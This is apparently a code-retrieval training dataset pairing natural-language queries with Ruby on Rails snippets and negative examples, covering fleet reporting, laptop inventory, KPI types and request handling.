"def service_vehicle_fleets(orgs)\n\n typed_org = Organization.get_typed_organization(@report.ntd_form.organization)\n start_date = typed_org.start_of_ntd_reporting_year(@report.ntd_form.fy_year)\n end_date = start_date + 1.year - 1.day\n\n fleets = []\n\n AssetFleet.where(organization: orgs, asset_fleet_type: AssetFleetType.find_by(class_name: @types[:service_vehicle_fleets])).each do |row|\n\n fleet_status = calculate_vehicle_fleet_status(row, start_date)\n next unless fleet_status\n\n primary_mode = check_seed_field(row, 'primary_fta_mode_type')\n vehicle_type = check_seed_field(row, 'fta_type')\n\n service_fleet = {\n :sv_id => row.ntd_id,\n :agency_fleet_id => row.agency_fleet_id,\n :fleet_name => row.fleet_name,\n :size => row.total_count(end_date),\n :vehicle_type => vehicle_type.try(:to_s),\n :primary_fta_mode_type => primary_mode.try(:to_s),\n :manufacture_year => row.get_manufacture_year,\n :pcnt_capital_responsibility => row.get_pcnt_capital_responsibility,\n :estimated_cost => row.estimated_cost,\n :estimated_cost_year => row.year_estimated_cost,\n :useful_life_benchmark => row.useful_life_benchmark,\n :useful_life_remaining => row.useful_life_remaining(end_date),\n :secondary_fta_mode_types => row.get_secondary_fta_mode_types.pluck(:code).join('; '),\n status: fleet_status,\n :vehicle_object_key => row.object_key,\n :notes => row.notes\n }\n\n # calculate the additional properties and merge them into the results\n # hash\n fleets << NtdServiceVehicleFleet.new(service_fleet)\n end\n fleets\n end",
"def revenue_vehicle_fleets(orgs)\n\n fleets = []\n\n AssetFleet.where(organization: orgs, asset_fleet_type: AssetFleetType.find_by(class_name: 'Vehicle')).each do |row|\n\n primary_mode = check_seed_field(row, 'primary_fta_mode_type')\n primary_tos = check_seed_field(row, 'primary_fta_service_type')\n vehicle_type = check_seed_field(row, 'fta_vehicle_type')\n funding_type = check_seed_field(row, 'fta_funding_type')\n ownership_type = check_seed_field(row, 'fta_ownership_type')\n\n\n fleet ={\n rvi_id: row.ntd_id,\n fta_mode: \"#{primary_mode.name} (#{primary_mode.code})\",\n fta_service_type: \"#{primary_tos.name} (#{primary_tos.code})\",\n agency_fleet_id: row.agency_fleet_id,\n dedicated: row.get_dedicated,\n direct_capital_responsibility: row.get_direct_capital_responsibility,\n size: row.total_count,\n num_active: row.active_count,\n num_ada_accessible: row.ada_accessible_count,\n num_emergency_contingency: row.fta_emergency_contingency_count,\n vehicle_type: \"#{vehicle_type.name} (#{vehicle_type.code})\",\n manufacture_code: row.get_manufacturer.code,\n rebuilt_year: 'TO DO',\n model_number: 'TO DO',\n other_manufacturer: row.get_other_manufacturer.to_s,\n fuel_type: row.get_fuel_type.name,\n dual_fuel_type: row.get_dual_fuel_type.to_s,\n vehicle_length: 'TO DO',\n seating_capacity: 'TO DO',\n standing_capacity: 'TO DO',\n total_active_miles_in_period: row.miles_this_year,\n avg_lifetime_active_miles: row.avg_active_lifetime_miles,\n ownership_type: \"#{ownership_type.name} (#{ownership_type.code})\",\n funding_type: \"#{funding_type.name} (#{funding_type.code})\",\n notes: row.notes,\n status: row.active(@form.fy_year) ? 'Active' : 'Retired',\n useful_life_remaining: 'TO DO',\n useful_life_benchmark: 'TO DO',\n manufacture_year: row.get_manufacture_year,\n additional_fta_mode: row.get_secondary_fta_mode_type.try(:code),\n additional_fta_service_type: row.get_secondary_fta_service_type.try(:code),\n :vehicle_object_key => row.object_key\n }\n\n # calculate the additional properties and merge them into the results\n # hash\n fleets << NtdRevenueVehicleFleet.new(fleet)\n end\n fleets\n\n end",
"def staff_laptops\n @staff_laptops ||= begin\n spare_ids = spare_laptops.map {|i| i['id'] }\n active_laptops.reject {|i| spare_ids.include?(i['id']) }\n end\n end",
"def index\n @fleets = Fleet.where(user: current_user)\n \n @approaching_fleets = Array.new\n planets = current_user.planets\n planets.each do |planet|\n Fleet.where(\"target_planet = ? AND start_planet != target_planet\", planet).each do |fleet|\n @approaching_fleets.push(fleet)\n end\n end\n\n @flying_fleets = Array.new\n @based_fleets = Array.new\n @fleets.each do |fleet|\n if fleet.mission.id == 1\n @based_fleets.push(fleet)\n else\n @flying_fleets.push(fleet)\n end\n end\n end",
"def print_laptops_by_age(fleet_type, older_than_years = 0.0)\n laptops = @snipe.laptops(fleet_type)\n older_than_years = older_than_years.to_f\n data = []\n\n # Do not include these very old assets if filtering by age\n if older_than_years == 0.0\n # Format assets that have word based asset_tags, such as 'oldspare03'\n data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'word-based' }\n .sort_by {|i| i['asset_tag'] }\n .map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }\n\n # Format assets that are so old the asset_tags increment from '000000001' and up\n data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'incremental' }\n .sort_by {|i| i['asset_tag'] }\n .map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }\n end\n\n # Format assets that have date-based asset_tags (default asset_tag structure)\n date_asset_tags = laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'date-based' }\n\n # Filter date-based asset_tags based on approx age\n if older_than_years != 0.0\n date_asset_tags = date_asset_tags.find_all {|i| calculate_asset_age(i['asset_tag']) >= older_than_years }\n end\n\n data += date_asset_tags.sort_by {|i| i['asset_tag'] }\n .map {|i| [Date.parse(i['asset_tag']).strftime('%Y-%m-%d'), calculate_asset_age(i['asset_tag']), i['asset_tag'], i['serial'], i['name']] }\n\n @printer.print_table(data, ['Purchase Date', 'Approx Age', 'Asset Tag', 'Serial', 'Asset Name'])\n end",
"def index\n @fleets = Fleet.all\n end",
"def archived_laptops\n @archived_laptops ||= laptop_query({ 'status' => 'Archived' })\n end",
"def index\n @shipfleets = Shipfleet.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def all_slot\n type = params[:type] || 'all_slots'\n @user = User.find(params[:data])\n\n @scoring_scale = @user.departments.first.cds_template.scoring_scale\n \n @competencies = Competency.all\n\n case type\n when 'all_slots'\n @slot_assesses = @user.slot_assesses.order(\"id\")\n when 'passed_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Passed\").order(\"id\")\n when 'not_passed_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Passed\").order(\"id\")\n when 'not_assessed_yet_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Assessed Yet\").order(\"id\")\n when 'not_added_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Added Yet\").order(\"id\")\n end\n render :layout => false\n end",
"def get_bets_map_by_type(game_type)\n return build_entry_to_bets_map(\n SurvivorBet.includes([:nfl_game, :nfl_team])\n .joins(:survivor_entry)\n .joins(:nfl_game)\n .where(:survivor_entries => {year: Date.today.year, game_type: game_type})\n .order(\"survivor_entries.id, nfl_schedules.week\"))\n end",
"def fleet\r\n FleetController.instance\r\n end",
"def get_department_outype\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/department\"\n _get(path)\n # returns OrgUnitType JSON data block\nend",
"def get_bets_map_by_type(game_type)\n return build_entry_to_bets_map(\n SurvivorBet.includes([:nfl_game, :nfl_team])\n .joins(:survivor_entry)\n .joins(:nfl_game)\n .where(:survivor_entries => {year: current_season_year, game_type: game_type})\n .order(\"survivor_entries.id, nfl_schedules.week\"))\n end",
"def lysing_container(op)\n # log_info op.input(CELL_LYSIS).val\n if op.input(CELL_LYSIS).val == 'Enzymatic'\n return \"ZD_#{op.temporary[:tube]}\"\n elsif op.input(CELL_LYSIS).val == 'Mechanical'\n return \"Screw cap-#{op.temporary[:tube]}\"\n end\n end",
"def get_new_luns\n @lun_table.get_new_luns\n end",
"def available_types\n # TODO pull this from DB or config\n [\n :kiosk,\n :ride,\n :store,\n :restaurant\n ]\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Return a table of inwarranty laptops.
|
def print_laptops_in_warranty(fleet_type)
laptops = @snipe.laptops(fleet_type)
data = laptops.find_all {|i| i['in_warranty'] }
simple_print(data, %w(warranty_expires.formatted asset_tag serial name assigned_to.username), 'warranty_expires.formatted', ['Warranty Expires', 'Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])
end
|
[
"def table_for(rpt)\n Inkblot::Components::TableList.new do |tl|\n tl.div_height = :full\n tl.div_width = 95\n\n tl.font_size = [30, 18, 12, 18]\n tl.text_align = :center\n tl.items = []\n\n tl.items << rpt[:symbol]\n tl.items << \"$#{rpt[:latest_price]}\"\n\n pt = %i[open high low].map { |pr| \"$#{rpt[pr]}\" }\n .join(' / ')\n\n tl.items << pt\n tl.items << \"#{(rpt[:change_percent] * 100).round(3)}%\"\n end\n end",
"def index\n @warranties = Warranty.all\n\n end",
"def inoculation\n show do\n title \"Inoculation\"\n \n note \"Inoculate yeast into test tube according to the following table. Return items after innocuation.\"\n \n bullet \"Take a sterile 10 uL tip, pick up a medium sized colony by gently scraping the tip to the colony.\"\n \n \n table operations.start_table\n .custom_column(heading: \"Item ID.section\") { |op| \"#{op.input(\"Yeast Strain\").item.id}.#{op.input(\"Yeast Strain\").column + 1}\" }\n .output_item(\"Overnight\", heading: \"14 mL tube ID\", checkable: true)\n .end_table\n end\n end",
"def index\n @penalties = Penalty.all\n end",
"def all_interim_warrants\n all_interims_with_fee_type('Warrant')\n end",
"def income_list\n end",
"def get_discount_table\n @discount\n end",
"def available_balances_table\n <<EOF\n\\\\section{Available Balances}\n\\\\begin{tabulary}{0.9\\\\textwidth}{R | r r c}\nAccount & Balance & Available & Type\\\\\\\\\n\\\\hline\\\\Tstrut\n #{\n [:Equity, :Asset, :Liability].map{|type|\n @accounts.find_all{|acc| acc.type == type}.map{|acc|\n [acc.name_c, acc.balance(@today).to_tex, acc.available(@today).to_tex, type.to_s].join(\" & \")\n }.join(\"\\\\\\\\ \\n\")\n }.join(\"\\\\\\\\ \\n\\n\")\n }\n\\\\end{tabulary}\nEOF\n end",
"def cover_ink\n @pricing_table[3]\n end",
"def available_tables(sets_of_dishes, places_per_table)\n# dishes / seats\n return sets_of_dishes / places_per_table\nend",
"def list\n Terminal::Table.new(title: \"Items in Stock\", headings: [ 'Code', 'Name', 'Price'], rows: to_a)\n end",
"def base_table\n {\n\n \"Purchases from\" => ->(purchase) {\n purchase.vendor.try(:business_name)\n },\n \"Storage Location\" => ->(purchase) {\n purchase.storage_view\n },\n \"Purchased Date\" => ->(purchase) {\n purchase.issued_at.strftime(\"%F\")\n },\n \"Quantity of Items\" => ->(purchase) {\n purchase.line_items.total\n },\n \"Variety of Items\" => ->(purchase) {\n purchase.line_items.map(&:name).uniq.size\n },\n \"Amount Spent\" => ->(purchase) {\n purchase.amount_spent\n },\n \"Spent on Diapers\" => ->(purchase) {\n purchase.amount_spent_on_diapers\n },\n \"Spent on Adult Incontinence\" => ->(purchase) {\n purchase.amount_spent_on_adult_incontinence\n },\n \"Spent on Period Supplies\" => ->(purchase) {\n purchase.amount_spent_on_period_supplies\n },\n \"Spent on Other\" => ->(purchase) {\n purchase.amount_spent_on_other\n },\n \"Comment\" => ->(purchase) {\n purchase.comment\n }\n }\n end",
"def index\n @product_liability_insurances = ProductLiabilityInsurance.all\n end",
"def index\n @whl_sl_price_pttrn_ds = WhlSlPricePttrnD.all\n end",
"def control_table\n @paying_date = ScholarshipMonth.current.starts_on\n @indices = Index.find_with_scholarship(@user)\n @show_table_message = 1\n @bad_indices = @indices.select(&:bad_index?)\n render(:action => 'list')\n end",
"def index\n @surveillance_power_supplies = SurveillancePowerSupply.all\n end",
"def feedable_wells_table(plate)\n tab = plate.matrix.map do |row|\n row.map do |id|\n next \"(empty)\" if id == -1\n well = Item.find(id)\n {content: \"#{well.id}\", check: is_feedable(well) ? true : false}\n end\n end\n tab.unshift((1..6).to_a)\n ['', 'A', 'B', 'C', 'D'].each.with_index{ |str, i| tab[i].unshift(str) }\n return tab\n end",
"def bylaws_passed_collection\n bylaw_table_rows = select_table(BYLAWS_PASSED_TITLE, 2)\n\n bylaw_table_rows.map do |bylaw_row|\n bylaw_builder(bylaw_row)\n end\n end",
"def index\n @power_supply_typologies = PowerSupplyTypology.all\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Return a table of laptops sorted by age. Age is approximate. This method does not calculate the intricacies of leap years, etc.
|
def print_laptops_by_age(fleet_type, older_than_years = 0.0)
laptops = @snipe.laptops(fleet_type)
older_than_years = older_than_years.to_f
data = []
# Do not include these very old assets if filtering by age
if older_than_years == 0.0
# Format assets that have word based asset_tags, such as 'oldspare03'
data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'word-based' }
.sort_by {|i| i['asset_tag'] }
.map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }
# Format assets that are so old the asset_tags increment from '000000001' and up
data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'incremental' }
.sort_by {|i| i['asset_tag'] }
.map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }
end
# Format assets that have date-based asset_tags (default asset_tag structure)
date_asset_tags = laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'date-based' }
# Filter date-based asset_tags based on approx age
if older_than_years != 0.0
date_asset_tags = date_asset_tags.find_all {|i| calculate_asset_age(i['asset_tag']) >= older_than_years }
end
data += date_asset_tags.sort_by {|i| i['asset_tag'] }
.map {|i| [Date.parse(i['asset_tag']).strftime('%Y-%m-%d'), calculate_asset_age(i['asset_tag']), i['asset_tag'], i['serial'], i['name']] }
@printer.print_table(data, ['Purchase Date', 'Approx Age', 'Asset Tag', 'Serial', 'Asset Name'])
end
|
[
"def sorted_by_age\n sort_by { |llama|\n llama.age\n }\n end",
"def sorted_by_age\n end",
"def sorted_by_age(people)\nend",
"def sort_tenants_by_age tenants\n return tenants.sort_by { |tenant| tenant.age }\n end",
"def adults\n travelers.select { |traveler| traveler.is_adult? }.sort_by(&:age)\n end",
"def lists_of_my_age_group\n List.all.select { |list| list.creator.age >= self.age - 3 && list.creator.age <= self.age + 3 }\n end",
"def age_score; end",
"def sort_candidates(candidates)\n candidates.sort_by do |candidate|\n [candidate[:years_of_experience], candidate[:github_points]]\n end.reverse\nend",
"def amortization_table(loan)\n # New empty arrays\n periods = Array.new(loan.periods)\n payments = Array.new(loan.periods)\n principals = Array.new(loan.periods)\n interests = Array.new(loan.periods)\n balances = Array.new(loan.periods)\n\n # Initial conditions\n payments[0] = 0\n principals[0] = 0\n interests[0] = 0\n balances[0] = loan.principal\n\n # Fill arrays\n for i in(1..loan.periods)\n if i != loan.periods\n payments[i] = payment(loan.principal, loan.interest_rate, loan.payment_type, loan.periods)\n else\n payments[i] = payment(loan.principal, loan.interest_rate, loan.payment_type, loan.periods)\n end\n interests[i] = ((balances[i-1]).to_f * (loan.interest_rate/payment_type_yearly_frecuency(loan.payment_type))).round(2)\n principals[i] = (payments[i] - interests[i]).round(2)\n if i == loan.periods\n balances[i] = (balances[i-1] - payments[i] + interests[i]).round(0)\n else\n balances[i] = (balances[i-1] - payments[i] + interests[i]).round(2)\n end\n end\n\n # Print amortization table\n puts \"AMORTIZATION TABLE\"\n puts \"-\"*65\n puts \"Period\\t Payment\\t Principal\\t Interest\\t Balance\"\n for i in(1..loan.periods)\n puts \"#{i}\\t #{payments[i]}\\t #{principals[i]}\\t #{interests[i]}\\t #{balances[i]}\"\n end\n line_feed\n end",
"def age_ranges_with_active_filter\n\t\tage_ranges_without_active_filter.select(&:active).sort_by(&:sort_index)\n\tend",
"def sort_and_print_jobs_min_salary(jobs, view)\n jobs.sort! { |one, two| two.min_sal.to_i <=> one.min_sal.to_i }\n jobs.each { |job| view.jobs_and_min_salary(job) }\n end",
"def bucket_sort\n buckets = {}\n #Ideal for known and uniformly distributed range. Sort age of employees for eg.:\n @array.each do |age|\n bucket = age/10\n buckets[bucket] ||= []\n buckets[bucket] << age\n end\n\n result = []\n for i in 0..20\n arr = buckets[i]\n puts \"i=#{i}, buckets[i]=#{arr}\"\n puts \"result=#{result}, sorted value=#{insertion_sort(arr)}\" if arr\n result << insertion_sort(arr) if arr && arr != []\n end\n @array = result.flatten\n end",
"def my_hash_splitting_method(hash, age)\n under_age = []\n over_age = []\n hash.each do |key, value|\n value <= age ? over_age << [key, value] : under_age << [key, value]\n end\n [over_age, under_age]\nend",
"def lapsed\n @people = location_scoped(Person).active\n .where(role: \"Student\")\n .where(last_engaged: 6.months.ago..3.weeks.ago)\n .order(\"dream_team DESC\", \"last_engaged DESC\").limit(10)\n render template: \"api/v3/people/index\"\n end",
"def sorted_companies\n summer_companies.sort_by(&:name) +\n fellowship_companies.sort_by {|c| (3 - c.cohort[1].to_i).to_s + c.name } +\n winter_companies.sort_by(&:name)\n end",
"def dog_years(age)\n p age.to_i * DOG_YEARSs\n end",
"def create_age_groups\n age_under_18 = 0\n age_18_to_50 = 0\n age_51_and_over = 0\n self.gather_data.each do |user|\n if(user.user_age >= 51)\n age_51_and_over += 1\n end\n if(user.user_age >= 18 && user.user_age < 51)\n age_18_to_50 += 1\n end\n if(user.user_age < 18)\n age_under_18 += 1\n end\n end\n @age_under_18 = age_under_18\n @age_18_to_50 = age_18_to_50\n @age_51_and_over = age_51_and_over\n end",
"def sort_and_print_jobs_max_salary(jobs, view)\n jobs.sort! { |one, two| two.max_sal.to_i <=> one.max_sal.to_i }\n jobs.each { |job| view.jobs_and_max_salary(job) }\n end",
"def total_age\n reduce(0) { |total, llama|\n total + llama.age\n }\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Delete any old channel requests (since they were approved)
|
def destroy_channel_request
channel_request = ChannelRequest.where(:user_id => self.subscriber_id, :channel_id => self.channel_id).first
channel_request.destroy unless channel_request.blank?
end
|
[
"def delete_requests\n self.requests.each {|request| request.destroy}\n end",
"def revert_redeem_requests\n if subscription_status == 'canceled'\n redeem_requests = user.redeem_requests.where(:created_at.gte => created_at, :created_at.lte => updated_at, status: false)\n redeem_requests.destroy_all\n end\n end",
"def delete_old_requests\n Request.where('created_at < ?', Time.now - 15.minutes).delete_all\n end",
"def destroy\n unless @link_request.owned_by(@user)\n logger.error \"#{@user.netid} tried to delete request #{@link_request.id}\"\n return redirect_to link_requests_path, notice: \"You do not have enough access to delete that request\"\n end\n # if @link_request.status == :approved\n @link_request.delete_by(@user)\n # else\n # @link_request.destroy\n Activity.create(user: @user, verb: 'destroy', link_request: @link_request, occurred: Time.now)\n # end\n \n respond_to do |format|\n format.html { redirect_to link_requests_url }\n format.json { head :no_content }\n end\n end",
"def removeOldRequests\n now = Time.new\n @requestedPieces.length.times do |i|\n if @requestedPieces.set? i\n if now - @pieceRequestTime[i] > @requestTimeout\n @requestedPieces.clear i\n @pieceRequestTime[i] = nil\n end\n end\n end\n end",
"def cancel_request\n\t\tuser = current_user\n\n\t\tassignment = Assignment.find_by(request_id: params[:request_id])\n\t\tuser.accepteds.delete(assignment)\n\t\tpending_status = RequestStatus.find_by(description: \"pending accept\")\n\t\tpending_status.assignments << assignment\n\n\t\tredirect_back fallback_location: '/home'\n\tend",
"def delete_request(req)\n req[:sqs_msg].delete\n end",
"def clear_pending\n @async_requests.clear\n nil\n end",
"def clear!\n @requests.clear\n end",
"def destroy\n # first, delete the PA request from our CMM dashboard\n client = RequestConfigurator.api_client()\n client.revoke_access_token? @pa_request.cmm_token\n @pa_request.update_attributes(cmm_token: nil)\n\n # delete the PA request from our database\n # we'll delete the PA request when the callback arrives\n flash_message('Request successfully removed from your dashboard.')\n\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def meet_requests_to_remove\n MeetRequest.outdated\n end",
"def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end",
"def comments_delete_unapproved\n comments = Comment.find_unapproved\n for c in comments\n c.destroy\n end\n flash[:notice] = 'All unapproved comments have been deleted.'\n redirect_to Site.full_url + '/admin/comments'\n end",
"def delete_all\n error_occurred = false\n Request.all.each do |request|\n request.cancel_reservation\n if request.isReserved\n error_occurred = true\n else\n request.destroy\n end\n end\n if not error_occurred\n flash[:success] = \"All reservation requests were successfully deleted.\"\n else\n flash[:alert] = \"Some reservation requests could not be canceled.\"\n end\n respond_to do |format|\n format.html { redirect_to user_path(current_user.id) }\n end\n end",
"def delete_all_reactions_unsafe(rate_limit = 0.25)\n RestClient.delete(\n \"#{Discordrb::API.api_base}/channels/#{self.channel.id}/messages/#{self.id}/reactions\",\n Authorization: @bot.token\n )\n sleep rate_limit\n end",
"def request_delivered\n @request = Request_Sample.find(params[:request])\n @request.destroy\n respond_to do |format|\n format.html { redirect_to profiles_path(current_trader.id)}\n format.json { head :no_content }\n end\n end",
"def destroy\n channels.each { |channel| remove_channel(channel) }\n auth.clear\n end",
"def delete_free_channels\n @iogroupcomponent = Iogroupcomponent.find(params[:iogroupcomponent_id])\n @iogroupcomponent.iochannels.each do |channel|\n channel.destroy!\n end\n redirect_to iogroup_iogroupcomponents_path(@iogroupcomponent.iogroup.id),\n :notice => 'Freie Kanäle wurden gelöscht'\n end",
"def purge_request(key)\n @queue.each do |identity,worker|\n worker.request_queue.delete key\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /kpi_types POST /kpi_types.json
|
def create
@kpi_type = KpiType.new(kpi_type_params)
if @kpi_type.save
flash[:success] = 'KPI Type was successfully created.'
redirect_to :back
else
flash[:danger] = 'KPI Type was not created.'
redirect_to :back
end
end
|
[
"def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end",
"def create_types\n\t\t[]\n\tend",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def create\n @pit_type = PitType.new(pit_type_params)\n\n respond_to do |format|\n if @pit_type.save\n format.html { redirect_to @pit_type, notice: 'Pit type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pit_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @pit_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def types\n get(\"/project/types\")[\"types\"]\n end",
"def create\n @kin_type = KinType.new(kin_type_params)\n\n respond_to do |format|\n if @kin_type.save\n format.html { redirect_to @kin_type, notice: 'Kin type was successfully created.' }\n format.json { render :show, status: :created, location: @kin_type }\n else\n format.html { render :new }\n format.json { render json: @kin_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_break_type(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/labor/break-types',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def create\n @appeal_type = AppealType.new(appeal_type_params)\n\n respond_to do |format|\n if @appeal_type.save\n @appeal_types = AppealType.all.map{|t| {'value' => t.id.to_s, 'text' => t.name} }.to_json\n format.js\n else\n format.json { render json: @appeal_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def normalize_create_types(params)\n type_ids = []\n\n params[:types].split(/\\s*,\\s*/).uniq.each{ |type_name|\n nf = Type.i18n_name_field\n tn = ActiveRecord::Base.connection.quote(ActionController::Base.helpers.sanitize(type_name))\n t = Type.where(\"(COALESCE(#{nf}, name) || CASE WHEN scientific_name IS NULL THEN '' ELSE ' ['||scientific_name||']' END)=#{tn}\")\n\n # if it's not found, make it a pending type\n if t.nil? or t.empty?\n t = Type.new\n t.name = type_name\n t.pending = true # this is database default, but setting here just in case\n t.category_mask = params[:c].blank? ? array_to_mask([\"forager\"],Type::Categories) :\n array_to_mask(params[:c].split(/,/),Type::Categories)\n t.save\n else\n t = t.first\n end\n type_ids.push t.id\n } if params[:types].present?\n\n logger.debug params[:location][:type_ids]\n\n if params[:location].present? and params[:location][:type_ids].present?\n v = []\n if params[:location][:type_ids].kind_of? Hash\n v = params[:location][:type_ids].values.map{ |x| x.to_i }\n elsif params[:location][:type_ids].kind_of? Array\n v = params[:location][:type_ids].map{ |x| x.to_i }\n else\n # if we couldn't get it in a reasonable format, delete it\n params[:location].delete(:type_ids)\n end\n logger.debug Type.ids\n logger.debug v\n type_ids += (v & Type.ids) if v.length > 0\n end\n\n logger.debug \"TYPES!\"\n logger.debug type_ids\n type_ids\n end",
"def meta_types\n request('meta_types').map { |ent| MetaType.create(ent) }\n end",
"def typed_params\n definitions_for(:type)\n end",
"def create\n @user_type = UserType.new(user_type_params)\n\n if @user_type.save\n render json: @user_type\n else\n render json: @user_type.errors, status: :unprocessable_entity\n end\n end",
"def registered_types\n end",
"def platform_types\n get(\"platform-types\")[\"types\"]\n end",
"def payment_types\n url = \"#{@url}reference/payment-types\"\n make_request(url)\n end",
"def get_types\n i = 1\n while i <= 18 do\n response = RestClient.get(\"https://pokeapi.co/api/v2/type/#{i}/\")\n\n poketype = JSON.parse(response)\n Type.create(name: poketype[\"name\"])\n\n i += 1\n end\nend",
"def set_Types(value)\n set_input(\"Types\", value)\n end",
"def types()\n\t\t@pokemon_types = []\n\t\t@pokemon_api[\"types\"].each do |i|\n\t\t\t@pokemon_types.push(i[\"type\"][\"name\"].capitalize)\n\t\tend\n\t\treturn @pokemon_types\n\tend",
"def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /kpi_types/1 PATCH/PUT /kpi_types/1.json
|
def update
if @kpi_type.update(kpi_type_params)
flash[:success] = 'KPI Type was successfully updated.'
redirect_to :back
else
flash[:danger] = 'KPI Type was not updated.'
redirect_to :back
end
end
|
[
"def update\n respond_to do |format|\n if @patch_type.update(patch_type_params)\n format.html { redirect_to admin_patch_types_path, notice: 'Patch type was successfully updated.' }\n format.json { render :index, status: :ok, location: @patch_type }\n else\n format.html { render :edit }\n format.json { render json: @patch_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pit_type.update(pit_type_params)\n format.html { redirect_to @pit_type, notice: 'Pit type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pit_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_entity_type(entity_type_id, request)\n start.uri('/api/entity/type')\n .url_segment(entity_type_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .patch()\n .go()\n end",
"def update\n json_update(factType,factType_params, FactType)\n end",
"def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to types_path, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @generic_type.update(generic_type_params)\n format.html { redirect_to @generic_type, notice: 'Generic type was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_type }\n else\n format.html { render :edit }\n format.json { render json: @generic_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_type.update(service_type_params)\n format.json { head :no_content }\n else\n format.json { render json: @service_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @kpi.update(kpi_params)\n format.html { redirect_to root_path }\n format.json { render :show, status: :ok, location: @kpi }\n else\n format.html { render :edit }\n format.json { render json: @kpi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type = Type.find(params[:id])\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @change_type.update(change_type_params)\n format.html { redirect_to @change_type, notice: 'Change type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @change_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @default_request_type.update(default_request_type_params)\n format.html { redirect_to @default_request_type, notice: 'Default request type was successfully updated.' }\n format.json { render :show, status: :ok, location: @default_request_type }\n else\n format.html { render :edit }\n format.json { render json: @default_request_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @input_type.update(input_type_params)\n format.html { redirect_to @input_type, notice: 'Input type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @input_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_type = RequestType.find(params[:id])\n\n respond_to do |format|\n if @request_type.update_attributes(params[:request_type])\n format.html { redirect_to @request_type, notice: 'Request type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @type_request.update(type_request_params)\n format.html { redirect_to @type_request, notice: 'Type request was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_request }\n else\n format.html { render :edit }\n format.json { render json: @type_request.errors, status: :unprocessable_entity }\n end\n end\n end",
